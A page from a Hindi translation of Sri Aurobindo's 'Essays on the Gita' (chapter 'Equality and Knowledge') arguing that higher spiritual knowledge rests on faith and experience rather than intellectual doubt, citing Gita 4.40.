गीता प्रबंध -अरविन्द पृ. 195

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गीता-प्रबंध
20.समत्व और ज्ञान

परंतु यह बात केवल परम ज्ञान के संबंध में ही पूर्ण रूप से कही जा सकती है , नहीं तो जो ज्ञान मुनष्य अपनी बुद्धि से बटोरता है, उसे तो यह इन्द्रियों और तर्कशक्ति के द्वारा परिश्रम करके बाहर से ही इकट्ठा करता है । स्वतःस्थित, सहजस्फुरित, स्वानुभूत, स्वप्रकाश परम ज्ञान की प्राप्ति के लिये हमें संयतेंद्रिय होना होता है, जिससे हम उनके मोहपाश में न बंध सकें, बल्कि हमारा मन और इन्द्रियां उस परम ज्ञान के निर्मल दर्पण बन जायें; हमें उस परम सद्वस्तु के सत्य में, जिसमें सब कुछ स्थित है, अपनी समग्र सचतेतन सत्ता को प्रतिष्ठित करना होगा, ताकि वह अपनी जयोतिर्मयी आत्म - सत्ता को हममें प्रकट कर सके। अंत में इस ज्ञान को प्राप्त करने के लिये हमारे अंदर ऐसी श्रद्धा होनी चाहिये जिसे कोई भी बौद्धिक संदेह विचलित न कर सके , ‘‘जिस अज्ञानी में श्रद्धा नहीं है, जो संशयात्मा है वह नाश को प्राप्त होता है; संशयात्मा के लिये न तो यह लोक है न परलोक , और न सुख।”[१]वास्तव में यह बिलकुल सच है कि श्रद्धा - विश्वास के बिना इस जगत् में या परलोक की प्राप्ति में कोइ भी निश्चित स्थिति नहीं प्राप्त की जा सकती; और जब कोई मनुष्य किसी सुनिश्चित आधर और वास्तविक सहारे को पकड़ पाता है तभी किसी परिमाण में लौकिक या पारलौकिक सफलता, संतोष और सुख को प्राप्त कर सकता है; जो मन केवल संशयग्रस्त है वह अपने - आपको शून्य में खो देता है।
परंतु फिर भी निम्नतर ज्ञान में संदेह और अविश्वास होने का एक तात्कालिक उपयोग है; किंतु उच्चतर ज्ञान में ये रास्ते के रोड़े हैं, क्योंकि वहां का सारा रहस्य बौद्धिक भूमिका की तरह सत्य और भ्रांति का संतलुन करना नहीं है, वहां तो स्वतःप्रकाशमान स्त्य की सतत - प्रगतिशील अनुभूति होती रहती है और इसलिये संदेह ओर अविश्वास का कोई स्थान नहीं है। बौद्धिक ज्ञान में सदा ही असत्य अथवा अपूर्णत्व का मिश्रण रहता है जिसे हटाने के लिये स्वयं सत्य की संशयात्मक छानबीन करनी पड़ती है; परंतु उच्चतर ज्ञान में असत्य नहीं घुस सकता और इस या उस मत पर आग्रह करके बुद्धि जो भ्रम ले आती है वह केवल तर्क के द्वारा दूर नहीं होता, पर वहां की अनुभूति में लगे रहने से वह अपने - आप दूर हो जाता है। जो ज्ञान प्राप्त हो चुका है उसमें जो कुछ अपूर्णता रह गयी हो उसे अवश्य दूर करना होगा, किंतु यह काम जो कुछ अनुभूति हो चुकी है उसके मूल पर संदेह करने से नहीं बल्कि अपने जीवन को आत्मा की अधिक गहराई, ऊचांई और विशालता में ले जाकर अब तक की प्राप्त अनुभूति से आगे की और भी पूर्णतर अनुभूति की ओर बढ़ने के द्वारा होगा। और जो कुछ अभी अनुभूत नहीं है उसके लिये श्रद्धा के हथियार से भूमि तैयार करनी होगी, यहां तर्क और शंका का काम नहीं; क्योंकि यह वह सतय है जिसे बुद्धि नहीं दे सकती , तार्किक और यौक्तिक मन जिन विचारों में उलझा रहता है यह बहुधा उनसे विपरीत होता है।


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टीका टिप्पणी और संदर्भ

  1. 4.40

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